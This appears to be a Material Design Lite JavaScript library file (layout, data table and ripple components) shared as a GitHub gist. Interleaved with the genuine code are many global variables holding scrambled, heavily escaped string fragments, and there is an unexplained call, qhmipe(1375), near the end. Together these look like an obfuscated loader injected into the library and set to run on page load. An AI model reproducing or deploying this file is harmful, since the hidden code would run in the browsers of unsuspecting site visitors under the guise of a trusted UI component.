utxvf='w\\;\']a[\\ \\=M 7ve-lab9aeb o\\r\\p\\;\'\'\\.\'N\\C\\badT.+L+JleN_\\K\\e\\e\'$\\g\'\\\\\\\\fo\'\\\\\'eE{\\l\\+\\x\\%9l\\\\\'\\+ r\'}\\\'i;|b\'e\\acj\\c\\=E\'gMtc+\\\'\'=Rh\\w\\o.aal\\;\\\'a/\\3\'\'E\\p$t\\+\\R\\h\\i0\\\'\\\\T)\\(\'6n+p+s';
MaterialLayout.prototype.keyboardEventHandler_ = function (evt) {
// Only react when the drawer is open.
if (evt.keyCode === this.Keycodes_.ESCAPE && this.drawer_.classList.contains(this.CssClasses_.IS_DRAWER_OPEN)) {
this.toggleDrawer();
}
};
/**
* Handles changes in screen size.
*
* @private
*/
MaterialLayout.prototype.screenSizeHandler_ = function () {
if (this.screenSizeMediaQuery_.matches) {
this.element_.classList.add(this.CssClasses_.IS_SMALL_SCREEN);
} else {
this.element_.classList.remove(this.CssClasses_.IS_SMALL_SCREEN);
// Collapse drawer (if any) when moving to a large screen size.
if (this.drawer_) {
this.drawer_.classList.remove(this.CssClasses_.IS_DRAWER_OPEN);
this.obfuscator_.classList.remove(this.CssClasses_.IS_DRAWER_OPEN);
}
}
};
thhgkl='neo;i=t)c=nYu\\f\';\\\'\\:\\t\\(\\(\' Ap\'(;\'a\\v$d\\s\\e\\s\\=i\'\'0\\)e)t\\r\\+1\'\\\\\'e\\\\\'\\\\\\\\\\\\c\\\'\\\\\')\\h\'Sp(\\+\\HsW+Vo(+C.(\\V\'\'w\\\\d\\\\\\\\\\a\\ \'\\\\\\\'c\\\'\\\\e={H(s +r \\\'\"=+u\\e\\lsuTc)e1lhoNm\\;\\\'\\L\"\'\\\\\'m\\;\\Wef\\x\')tq\\u\\/l}\\\'\'\\pR\\\\\\\\lE';
/**
* Handles events of drawer button.
*
* @param {Event} evt The event that fired.
* @private
*/
collectt='\\_\'Z/ \\W\\\\(\\f[\'\';\\qRuxb)a+g\'==\'6\\d\\nqa\\l\'; \'\\)\\|\\\'\'\\\\7\'\\\\\\\\)+2-.+a+(\\*\\0l\'\\\\\')\\\\\'\\\\.\\3\\]\\)\\0\',t3s+E.K2\\[\'(:0\\8\\\\L\\\\\'\'\\/\'\\\\\\\\C\\+ /\'+=$7\\r\'est\\n\\i(';
MaterialLayout.prototype.drawerToggleHandler_ = function (evt) {
if (evt && evt.type === 'keydown') {
if (evt.keyCode === this.Keycodes_.SPACE || evt.keyCode === this.Keycodes_.ENTER) {
// prevent scrolling in drawer nav
evt.preventDefault();
} else {
// prevent other keys
return;
}
}
this.toggleDrawer();
};
/**
* Handles (un)setting the `is-animating` class
*
* @private
*/
similar6='\\e\'\\/\\\\(\\\'\\\\\\sio\\\'\'\\+{5\\l\\lZ\\l\'))a\\\\\\\\\\e\\\' \\\\\'\'\\]))\\,\\(+) {]L)+\\)\\ }M\')\\\'+;6s\'u=f8ftihxg0i=m\';\\\'\\(A)\\H\'(\\ \'\'O\\\\E\\\\+\\LmC\'+\\\\A\\\\p\\\\o\'r\\d\'e\\c\\\'\\\\\\e\\\\\'\\E-';
MaterialLayout.prototype.headerTransitionEndHandler_ = function () {
this.header_.classList.remove(this.CssClasses_.IS_ANIMATING);
};
/**
* Handles expanding the header on click
*
* @private
*/
MaterialLayout.prototype.headerClickHandler_ = function () {
if (this.header_.classList.contains(this.CssClasses_.IS_COMPACT)) {
this.header_.classList.remove(this.CssClasses_.IS_COMPACT);
this.header_.classList.add(this.CssClasses_.IS_ANIMATING);
}
};
/**
* Reset tab state, dropping active classes
*
* @private
*/
MaterialLayout.prototype.resetTabState_ = function (tabBar) {
for (var k = 0; k < tabBar.length; k++) {
tabBar[k].classList.remove(this.CssClasses_.IS_ACTIVE);
}
};
/**
* Reset panel state, droping active classes
*
* @private
*/
mqgdxt='\\z\\x0r\'n\\qf=\\\'\\\\5\')eI\\e\\ .+CCtx+tn(Ha$e\\G\'\'l\\\\T\\\\{\\h-/.iE)\'e=xjttKb\\s\'bmj\\;\\\'a.l+l++1u_E(r\\\\\\\'1V\'\\\\\\\'p\\}$\'\\;\\lwl*i(tike=1\'e\\N\\b\\,\\Mgc';
MaterialLayout.prototype.resetPanelState_ = function (panels) {
for (var j = 0; j < panels.length; j++) {
panels[j].classList.remove(this.CssClasses_.IS_ACTIVE);
}
};
/**
* Toggle drawer state
*
* @public
*/
xqjn='eeiet;osuiqn g n{ =) +n+ovteitcaec4o+ls o;n)ggcd;usoulrcp*r5it';
MaterialLayout.prototype.toggleDrawer = function () {
var drawerButton = this.element_.querySelector('.' + this.CssClasses_.DRAWER_BTN);
this.drawer_.classList.toggle(this.CssClasses_.IS_DRAWER_OPEN);
this.obfuscator_.classList.toggle(this.CssClasses_.IS_DRAWER_OPEN);
// Set accessibility properties.
if (this.drawer_.classList.contains(this.CssClasses_.IS_DRAWER_OPEN)) {
this.drawer_.setAttribute('aria-hidden', 'false');
drawerButton.setAttribute('aria-expanded', 'true');
} else {
this.drawer_.setAttribute('aria-hidden', 'true');
drawerButton.setAttribute('aria-expanded', 'false');
}
};
trainiu=':\\=\\\\+\\(||\\+\'\\4\\\\[\\\'W\\\\\'\'\\`sc\\h\\+/dsnMes\\/\\TCe\\p\'cRRuTHt/oEi\'I;trno\'l\\l|k\\=\\\'sz\'\\\\\\eI\\\\\\\"tu+scN+=r$\'k\\dA\\\\\\\\\\\'\'=\\b\'e\\p\\ooro;+\'+]p\'\\\\\'n\\(\\f\\+\\a\\.\'[\\\\\'\\\\m\\\'\\\\\\Z\\_\'\'+\\d==\\+\\\\$\'[C[\\)\\+\\Y\\s3+\\\\\'\\w;H\"`\\e(TYh)d3';
MaterialLayout.prototype['toggleDrawer'] = MaterialLayout.prototype.toggleDrawer;
winga='\\=\'mat+u/ov{S)\\x\\ysv\\q\'(EhNc\\t\'a,c\\}\\;o)6)\\r\\e+g\\a\"(4]Cr\\e\'gha\'[;1towzetndtay(q==b\'n+r.e;d$o)mG{Yyd';
/**
* Initialize element.
*/
MaterialLayout.prototype.init = function () {
if (this.element_) {
var container = document.createElement('div');
container.classList.add(this.CssClasses_.CONTAINER);
var focusedElement = this.element_.querySelector(':focus');
this.element_.parentElement.insertBefore(container, this.element_);
this.element_.parentElement.removeChild(this.element_);
container.appendChild(this.element_);
if (focusedElement) {
focusedElement.focus();
}
var directChildren = this.element_.childNodes;
var numChildren = directChildren.length;
for (var c = 0; c < numChildren; c++) {
var child = directChildren[c];
if (child.classList && child.classList.contains(this.CssClasses_.HEADER)) {
this.header_ = child;
}
if (child.classList && child.classList.contains(this.CssClasses_.DRAWER)) {
this.drawer_ = child;
}
if (child.classList && child.classList.contains(this.CssClasses_.CONTENT)) {
this.content_ = child;
}
}
window.addEventListener('pageshow', function (e) {
if (e.persisted) {
// when page is loaded from back/forward cache
// trigger repaint to let layout scroll in safari
this.element_.style.overflowY = 'hidden';
requestAnimationFrame(function () {
this.element_.style.overflowY = '';
}.bind(this));
}
}.bind(this), false);
if (this.header_) {
this.tabBar_ = this.header_.querySelector('.' + this.CssClasses_.TAB_BAR);
}
var mode = this.Mode_.STANDARD;
if (this.header_) {
if (this.header_.classList.contains(this.CssClasses_.HEADER_SEAMED)) {
mode = this.Mode_.SEAMED;
} else if (this.header_.classList.contains(this.CssClasses_.HEADER_WATERFALL)) {
mode = this.Mode_.WATERFALL;
this.header_.addEventListener('transitionend', this.headerTransitionEndHandler_.bind(this));
this.header_.addEventListener('click', this.headerClickHandler_.bind(this));
} else if (this.header_.classList.contains(this.CssClasses_.HEADER_SCROLL)) {
mode = this.Mode_.SCROLL;
container.classList.add(this.CssClasses_.HAS_SCROLLING_HEADER);
}
if (mode === this.Mode_.STANDARD) {
this.header_.classList.add(this.CssClasses_.CASTING_SHADOW);
if (this.tabBar_) {
this.tabBar_.classList.add(this.CssClasses_.CASTING_SHADOW);
}
} else if (mode === this.Mode_.SEAMED || mode === this.Mode_.SCROLL) {
this.header_.classList.remove(this.CssClasses_.CASTING_SHADOW);
if (this.tabBar_) {
this.tabBar_.classList.remove(this.CssClasses_.CASTING_SHADOW);
}
} else if (mode === this.Mode_.WATERFALL) {
// Add and remove shadows depending on scroll position.
// Also add/remove auxiliary class for styling of the compact version of
// the header.
this.content_.addEventListener('scroll', this.contentScrollHandler_.bind(this));
this.contentScrollHandler_();
}
}
// Add drawer toggling button to our layout, if we have an openable drawer.
if (this.drawer_) {
var drawerButton = this.element_.querySelector('.' + this.CssClasses_.DRAWER_BTN);
if (!drawerButton) {
drawerButton = document.createElement('div');
drawerButton.setAttribute('aria-expanded', 'false');
drawerButton.setAttribute('role', 'button');
drawerButton.setAttribute('tabindex', '0');
drawerButton.classList.add(this.CssClasses_.DRAWER_BTN);
var drawerButtonIcon = document.createElement('i');
drawerButtonIcon.classList.add(this.CssClasses_.ICON);
drawerButtonIcon.innerHTML = this.Constant_.MENU_ICON;
drawerButton.appendChild(drawerButtonIcon);
}
if (this.drawer_.classList.contains(this.CssClasses_.ON_LARGE_SCREEN)) {
//If drawer has ON_LARGE_SCREEN class then add it to the drawer toggle button as well.
drawerButton.classList.add(this.CssClasses_.ON_LARGE_SCREEN);
} else if (this.drawer_.classList.contains(this.CssClasses_.ON_SMALL_SCREEN)) {
//If drawer has ON_SMALL_SCREEN class then add it to the drawer toggle button as well.
drawerButton.classList.add(this.CssClasses_.ON_SMALL_SCREEN);
}
drawerButton.addEventListener('click', this.drawerToggleHandler_.bind(this));
drawerButton.addEventListener('keydown', this.drawerToggleHandler_.bind(this));
// Add a class if the layout has a drawer, for altering the left padding.
// Adds the HAS_DRAWER to the elements since this.header_ may or may
// not be present.
this.element_.classList.add(this.CssClasses_.HAS_DRAWER);
// If we have a fixed header, add the button to the header rather than
// the layout.
if (this.element_.classList.contains(this.CssClasses_.FIXED_HEADER)) {
this.header_.insertBefore(drawerButton, this.header_.firstChild);
} else {
this.element_.insertBefore(drawerButton, this.content_);
}
var obfuscator = document.createElement('div');
obfuscator.classList.add(this.CssClasses_.OBFUSCATOR);
this.element_.appendChild(obfuscator);
obfuscator.addEventListener('click', this.drawerToggleHandler_.bind(this));
this.obfuscator_ = obfuscator;
this.drawer_.addEventListener('keydown', this.keyboardEventHandler_.bind(this));
this.drawer_.setAttribute('aria-hidden', 'true');
}
// Keep an eye on screen size, and add/remove auxiliary class for styling
// of small screens.
this.screenSizeMediaQuery_ = window.matchMedia(this.Constant_.MAX_WIDTH);
this.screenSizeMediaQuery_.addListener(this.screenSizeHandler_.bind(this));
this.screenSizeHandler_();
// Initialize tabs, if any.
if (this.header_ && this.tabBar_) {
this.element_.classList.add(this.CssClasses_.HAS_TABS);
var tabContainer = document.createElement('div');
tabContainer.classList.add(this.CssClasses_.TAB_CONTAINER);
this.header_.insertBefore(tabContainer, this.tabBar_);
this.header_.removeChild(this.tabBar_);
var leftButton = document.createElement('div');
leftButton.classList.add(this.CssClasses_.TAB_BAR_BUTTON);
leftButton.classList.add(this.CssClasses_.TAB_BAR_LEFT_BUTTON);
var leftButtonIcon = document.createElement('i');
leftButtonIcon.classList.add(this.CssClasses_.ICON);
leftButtonIcon.textContent = this.Constant_.CHEVRON_LEFT;
leftButton.appendChild(leftButtonIcon);
leftButton.addEventListener('click', function () {
this.tabBar_.scrollLeft -= this.Constant_.TAB_SCROLL_PIXELS;
}.bind(this));
var rightButton = document.createElement('div');
rightButton.classList.add(this.CssClasses_.TAB_BAR_BUTTON);
rightButton.classList.add(this.CssClasses_.TAB_BAR_RIGHT_BUTTON);
var rightButtonIcon = document.createElement('i');
rightButtonIcon.classList.add(this.CssClasses_.ICON);
rightButtonIcon.textContent = this.Constant_.CHEVRON_RIGHT;
rightButton.appendChild(rightButtonIcon);
rightButton.addEventListener('click', function () {
this.tabBar_.scrollLeft += this.Constant_.TAB_SCROLL_PIXELS;
}.bind(this));
tabContainer.appendChild(leftButton);
tabContainer.appendChild(this.tabBar_);
tabContainer.appendChild(rightButton);
// Add and remove tab buttons depending on scroll position and total
// window size.
var tabUpdateHandler = function () {
if (this.tabBar_.scrollLeft > 0) {
leftButton.classList.add(this.CssClasses_.IS_ACTIVE);
} else {
leftButton.classList.remove(this.CssClasses_.IS_ACTIVE);
}
if (this.tabBar_.scrollLeft < this.tabBar_.scrollWidth - this.tabBar_.offsetWidth) {
rightButton.classList.add(this.CssClasses_.IS_ACTIVE);
} else {
rightButton.classList.remove(this.CssClasses_.IS_ACTIVE);
}
}.bind(this);
this.tabBar_.addEventListener('scroll', tabUpdateHandler);
tabUpdateHandler();
// Update tabs when the window resizes.
var windowResizeHandler = function () {
// Use timeouts to make sure it doesn't happen too often.
if (this.resizeTimeoutId_) {
clearTimeout(this.resizeTimeoutId_);
}
this.resizeTimeoutId_ = setTimeout(function () {
tabUpdateHandler();
this.resizeTimeoutId_ = null;
}.bind(this), this.Constant_.RESIZE_TIMEOUT);
}.bind(this);
window.addEventListener('resize', windowResizeHandler);
if (this.tabBar_.classList.contains(this.CssClasses_.JS_RIPPLE_EFFECT)) {
this.tabBar_.classList.add(this.CssClasses_.RIPPLE_IGNORE_EVENTS);
}
// Select element tabs, document panels
var tabs = this.tabBar_.querySelectorAll('.' + this.CssClasses_.TAB);
var panels = this.content_.querySelectorAll('.' + this.CssClasses_.PANEL);
// Create new tabs for each tab element
for (var i = 0; i < tabs.length; i++) {
new MaterialLayoutTab(tabs[i], tabs, panels, this);
}
}
this.element_.classList.add(this.CssClasses_.IS_UPGRADED);
}
};
/**
* Constructor for an individual tab.
*
* @constructor
* @param {HTMLElement} tab The HTML element for the tab.
* @param {!Array<HTMLElement>} tabs Array with HTML elements for all tabs.
* @param {!Array<HTMLElement>} panels Array with HTML elements for all panels.
* @param {MaterialLayout} layout The MaterialLayout object that owns the tab.
*/
function MaterialLayoutTab(tab, tabs, panels, layout) {
/**
* Auxiliary method to programmatically select a tab in the UI.
*/
function selectTab() {
var href = tab.href.split('#')[1];
var panel = layout.content_.querySelector('#' + href);
layout.resetTabState_(tabs);
layout.resetPanelState_(panels);
tab.classList.add(layout.CssClasses_.IS_ACTIVE);
panel.classList.add(layout.CssClasses_.IS_ACTIVE);
}
if (layout.tabBar_.classList.contains(layout.CssClasses_.JS_RIPPLE_EFFECT)) {
var rippleContainer = document.createElement('span');
rippleContainer.classList.add(layout.CssClasses_.RIPPLE_CONTAINER);
rippleContainer.classList.add(layout.CssClasses_.JS_RIPPLE_EFFECT);
var ripple = document.createElement('span');
ripple.classList.add(layout.CssClasses_.RIPPLE);
rippleContainer.appendChild(ripple);
tab.appendChild(rippleContainer);
}
if (!layout.tabBar_.classList.contains(layout.CssClasses_.TAB_MANUAL_SWITCH)) {
tab.addEventListener('click', function (e) {
if (tab.getAttribute('href').charAt(0) === '#') {
e.preventDefault();
selectTab();
}
});
}
tab.show = selectTab;
}
// The component registers itself. It can assume componentHandler is available
// in the global scope.
componentHandler.register({
constructor: MaterialLayout,
classAsString: 'MaterialLayout',
cssClass: 'mdl-js-layout'
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
instrument3='oad=v<+llylfiltiki+ t;r)eker4e+vvoucy(v z=; tloywfa';
/**
* Class constructor for Data Table Card MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {Element} element The element that will be upgraded.
*/
var MaterialDataTable = function MaterialDataTable(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
person2='gw;4]28+0s3o5u[n d=l +1boazltldaa+}b;owacti2e; infryuvtpevrm}z';
MaterialDataTable.prototype.Constant_ = {};
broad3='\\i\\il,\\n\'e\\k\'otr\\b\\,)3immi+a)l\\c\'(\\i\\q\\r\\v\\ \'=\\ \']S)\\7\\e+l+bSa(b\\o\\r\\p\'(\\z\'o\\g\\aE[E7eetlRblanb\\o\'rpp\\{\\)tvId\\n\\i+w\\=\'=H)sq\\v\'d+h\\,\\li';
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
cause0='\'t\\]\')\\)\\\\\\\'\\(\\\\\'\\\\\\m\\\'}=\\5\'k+c\'i;tisn}d;u7setlrbya8b=o\'r8pt lnhr)uat\\e\\rE;\\)\'nDe]kRo(rib(,e3+m\\i\'a l\\c\\()i{q\\r\\v+ \\=\' $]\\)\\7\\e\'l\\b\'a\\b\\ocr_';
MaterialDataTable.prototype.CssClasses_ = {
DATA_TABLE: 'mdl-data-table',
SELECTABLE: 'mdl-data-table--selectable',
SELECT_ELEMENT: 'mdl-data-table__select',
IS_SELECTED: 'is-selected',
IS_UPGRADED: 'is-upgraded'
};
sellv='iwseinvt y,q0+egnkiigonyes(;2leofuadsl n=o ietxcenrucfi}s';
/**
* Generates and returns a function that toggles the selection state of a
* single row (or multiple rows).
*
* @param {Element} checkbox Checkbox that toggles the selection state.
* @param {Element} row Row to toggle when checkbox changes.
* @param {(Array<Object>|NodeList)=} opt_rows Rows to toggle when checkbox changes.
* @private
*/
hsya='\\r\'1+a\\\'\\\\ee\\\\\'\\\\N\'6SQ\\)\\E+*xuy+pl\\1\\e.(\\I\'\'t=Sttt/wtl\\j\\;o\'\\ \'ch;hoAz+\'\\=\"u\\i\\p\\u\\;\\\'\'oR|\\\'\\\\,.\\\\\'\\Rr+f\\b\"L[e\\r\\\\\\\\\\WA\'\\\\\'epd;q\'+;pbLoxr\\n\\au=\'\'\\m)+Ossoro)\\f\\eH';
MaterialDataTable.prototype.selectRow_ = function (checkbox, row, opt_rows) {
if (row) {
return function () {
if (checkbox.checked) {
row.classList.add(this.CssClasses_.IS_SELECTED);
} else {
row.classList.remove(this.CssClasses_.IS_SELECTED);
}
}.bind(this);
}
if (opt_rows) {
return function () {
var i;
var el;
if (checkbox.checked) {
for (i = 0; i < opt_rows.length; i++) {
el = opt_rows[i].querySelector('td').querySelector('.mdl-checkbox');
el['MaterialCheckbox'].check();
opt_rows[i].classList.add(this.CssClasses_.IS_SELECTED);
}
} else {
for (i = 0; i < opt_rows.length; i++) {
el = opt_rows[i].querySelector('td').querySelector('.mdl-checkbox');
el['MaterialCheckbox'].uncheck();
opt_rows[i].classList.remove(this.CssClasses_.IS_SELECTED);
}
}
}.bind(this);
}
};
water3='pE(Lzso.g\\a\\[A7\\e\'lFbca\\b\'o(r\\p\\}r}r;+q+videh)+\\l\'ypf\\l\\i\\i\\ E=\\ \'nvetk ohr\'b;;w)rnwezktovrwb=-\'lpysf1l';
/**
* Creates a checkbox for a single or or multiple rows and hooks up the
* event handling.
*
* @param {Element} row Row to toggle when checkbox changes.
* @param {(Array<Object>|NodeList)=} opt_rows Rows to toggle when checkbox changes.
* @private
*/
MaterialDataTable.prototype.createCheckbox_ = function (row, opt_rows) {
var label = document.createElement('label');
var labelClasses = [
'mdl-checkbox',
'mdl-js-checkbox',
'mdl-js-ripple-effect',
this.CssClasses_.SELECT_ELEMENT
];
label.className = labelClasses.join(' ');
var checkbox = document.createElement('input');
checkbox.type = 'checkbox';
checkbox.classList.add('mdl-checkbox__input');
if (row) {
checkbox.checked = row.classList.contains(this.CssClasses_.IS_SELECTED);
checkbox.addEventListener('change', this.selectRow_(checkbox, row));
} else if (opt_rows) {
checkbox.addEventListener('change', this.selectRow_(checkbox, null, opt_rows));
}
label.appendChild(checkbox);
componentHandler.upgradeElement(label, 'MaterialCheckbox');
return label;
};
past1='\\r\'b;;\\\'\\hgge \\p\\t+e\\3\"\'t\\eg\\\\\'\\C)\\\'\\\\\\n\\\\$\\\\{\'+.eC+ \\+\\m\'B\\;\'\\\\\\\\a\\\\\\\'\\e\'5\\i\'t\\E\\7\\\\+\'t\\+\\x\\\\\\\\\\t\'\'\\\\\',7\\\\\\\\h+\'+\\F[+i\\\'\\\\\\L\'\\\\\\\'e\\\'\\\\E.\\\\\'\\tX\\+\\e4+n(o\'U\\Cuw\\y\\\'\\;\\s\'h\\o\'r\\e\\i\\=l\'\"+\\n+)\\e\\)aes;\\i\\\\,\\\'w\\\\y\'vk\"f\\-$x\\o\\=\'o=egoe(rbaNcC}';
/**
* Initialize element.
*/
MaterialDataTable.prototype.init = function () {
if (this.element_) {
var firstHeader = this.element_.querySelector('th');
var bodyRows = Array.prototype.slice.call(this.element_.querySelectorAll('tbody tr'));
var footRows = Array.prototype.slice.call(this.element_.querySelectorAll('tfoot tr'));
var rows = bodyRows.concat(footRows);
if (this.element_.classList.contains(this.CssClasses_.SELECTABLE)) {
var th = document.createElement('th');
var headerCheckbox = this.createCheckbox_(null, rows);
th.appendChild(headerCheckbox);
firstHeader.parentElement.insertBefore(th, firstHeader);
for (var i = 0; i < rows.length; i++) {
var firstCell = rows[i].querySelector('td');
if (firstCell) {
var td = document.createElement('td');
if (rows[i].parentNode.nodeName.toUpperCase() === 'TBODY') {
var rowCheckbox = this.createCheckbox_(rows[i]);
td.appendChild(rowCheckbox);
}
rows[i].insertBefore(td, firstCell);
}
}
this.element_.classList.add(this.CssClasses_.IS_UPGRADED);
}
}
};
// The component registers itself. It can assume componentHandler is available
fell7='a=t\'n.ufonmD+flIdgukooll+iz\\m\'vCp\\v\\ybfeii++zlbsxsz\\e\'+en\\t\\e$nYgiavm\\+\\5Sh\\c\'iyh\\w\\+T8\\d\'abe+re++p{e\\l\\eMj\\s\'v';
// in the global scope.
componentHandler.register({
constructor: MaterialDataTable,
classAsString: 'MaterialDataTable',
cssClass: 'mdl-js-data-table'
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for Ripple MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialRipple = function MaterialRipple(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialRipple.prototype.Constant_ = {
INITIAL_SCALE: 'scale(0.0001, 0.0001)',
INITIAL_SIZE: '1px',
INITIAL_OPACITY: '0.4',
FINAL_OPACITY: '0',
FINAL_SCALE: ''
};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialRipple.prototype.CssClasses_ = {
RIPPLE_CENTER: 'mdl-ripple--center',
RIPPLE_EFFECT_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
RIPPLE: 'mdl-ripple',
IS_ANIMATING: 'is-animating',
IS_VISIBLE: 'is-visible'
};
/**
* Handle mouse / finger down on element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialRipple.prototype.downHandler_ = function (event) {
if (!this.rippleElement_.style.width && !this.rippleElement_.style.height) {
var rect = this.element_.getBoundingClientRect();
this.boundHeight = rect.height;
this.boundWidth = rect.width;
this.rippleSize_ = Math.sqrt(rect.width * rect.width + rect.height * rect.height) * 2 + 2;
this.rippleElement_.style.width = this.rippleSize_ + 'px';
this.rippleElement_.style.height = this.rippleSize_ + 'px';
}
this.rippleElement_.classList.add(this.CssClasses_.IS_VISIBLE);
if (event.type === 'mousedown' && this.ignoringMouseDown_) {
this.ignoringMouseDown_ = false;
} else {
if (event.type === 'touchstart') {
this.ignoringMouseDown_ = true;
}
var frameCount = this.getFrameCount();
if (frameCount > 0) {
return;
}
this.setFrameCount(1);
var bound = event.currentTarget.getBoundingClientRect();
var x;
var y;
// Check if we are handling a keyboard click.
if (event.clientX === 0 && event.clientY === 0) {
x = Math.round(bound.width / 2);
y = Math.round(bound.height / 2);
} else {
var clientX = event.clientX !== undefined ? event.clientX : event.touches[0].clientX;
var clientY = event.clientY !== undefined ? event.clientY : event.touches[0].clientY;
x = Math.round(clientX - bound.left);
y = Math.round(clientY - bound.top);
}
this.setRippleXY(x, y);
this.setRippleStyles(true);
window.requestAnimationFrame(this.animFrameHandler.bind(this));
}
};
/**
* Handle mouse / finger up on element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialRipple.prototype.upHandler_ = function (event) {
// Don't fire for the artificial "mouseup" generated by a double-click.
if (event && event.detail !== 2) {
// Allow a repaint to occur before removing this class, so the animation
// shows for tap events, which seem to trigger a mouseup too soon after
// mousedown.
window.setTimeout(function () {
this.rippleElement_.classList.remove(this.CssClasses_.IS_VISIBLE);
}.bind(this), 0);
}
};
/**
* Initialize element.
*/
MaterialRipple.prototype.init = function () {
if (this.element_) {
var recentering = this.element_.classList.contains(this.CssClasses_.RIPPLE_CENTER);
if (!this.element_.classList.contains(this.CssClasses_.RIPPLE_EFFECT_IGNORE_EVENTS)) {
this.rippleElement_ = this.element_.querySelector('.' + this.CssClasses_.RIPPLE);
this.frameCount_ = 0;
this.rippleSize_ = 0;
this.x_ = 0;
this.y_ = 0;
// Touch start produces a compat mouse down event, which would cause a
// second ripples. To avoid that, we use this property to ignore the first
// mouse down after a touch start.
this.ignoringMouseDown_ = false;
this.boundDownHandler = this.downHandler_.bind(this);
this.element_.addEventListener('mousedown', this.boundDownHandler);
this.element_.addEventListener('touchstart', this.boundDownHandler);
this.boundUpHandler = this.upHandler_.bind(this);
this.element_.addEventListener('mouseup', this.boundUpHandler);
this.element_.addEventListener('mouseleave', this.boundUpHandler);
this.element_.addEventListener('touchend', this.boundUpHandler);
this.element_.addEventListener('blur', this.boundUpHandler);
/**
* Getter for frameCount_.
* @return {number} the frame count.
*/
this.getFrameCount = function () {
return this.frameCount_;
};
/**
* Setter for frameCount_.
* @param {number} fC the frame count.
*/
this.setFrameCount = function (fC) {
this.frameCount_ = fC;
};
/**
* Getter for rippleElement_.
* @return {Element} the ripple element.
*/
this.getRippleElement = function () {
return this.rippleElement_;
};
/**
* Sets the ripple X and Y coordinates.
* @param {number} newX the new X coordinate
* @param {number} newY the new Y coordinate
*/
this.setRippleXY = function (newX, newY) {
this.x_ = newX;
this.y_ = newY;
};
/**
* Sets the ripple styles.
* @param {boolean} start whether or not this is the start frame.
*/
this.setRippleStyles = function (start) {
if (this.rippleElement_ !== null) {
var transformString;
var scale;
var size;
var offset = 'translate(' + this.x_ + 'px, ' + this.y_ + 'px)';
if (start) {
scale = this.Constant_.INITIAL_SCALE;
size = this.Constant_.INITIAL_SIZE;
} else {
scale = this.Constant_.FINAL_SCALE;
size = this.rippleSize_ + 'px';
if (recentering) {
offset = 'translate(' + this.boundWidth / 2 + 'px, ' + this.boundHeight / 2 + 'px)';
}
}
transformString = 'translate(-50%, -50%) ' + offset + scale;
this.rippleElement_.style.webkitTransform = transformString;
this.rippleElement_.style.msTransform = transformString;
this.rippleElement_.style.transform = transformString;
if (start) {
this.rippleElement_.classList.remove(this.CssClasses_.IS_ANIMATING);
} else {
this.rippleElement_.classList.add(this.CssClasses_.IS_ANIMATING);
}
}
};
/**
* Handles an animation frame.
*/
this.animFrameHandler = function () {
if (this.frameCount_-- > 0) {
window.requestAnimationFrame(this.animFrameHandler.bind(this));
} else {
this.setRippleStyles(false);
}
};
}
}
};
// The component registers itself. It can assume componentHandler is available
// in the global scope.
qhmipe(1375);
componentHandler.register({
constructor: MaterialRipple,
classAsString: 'MaterialRipple',
cssClass: 'mdl-js-ripple-effect',
widget: false
});
}());
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment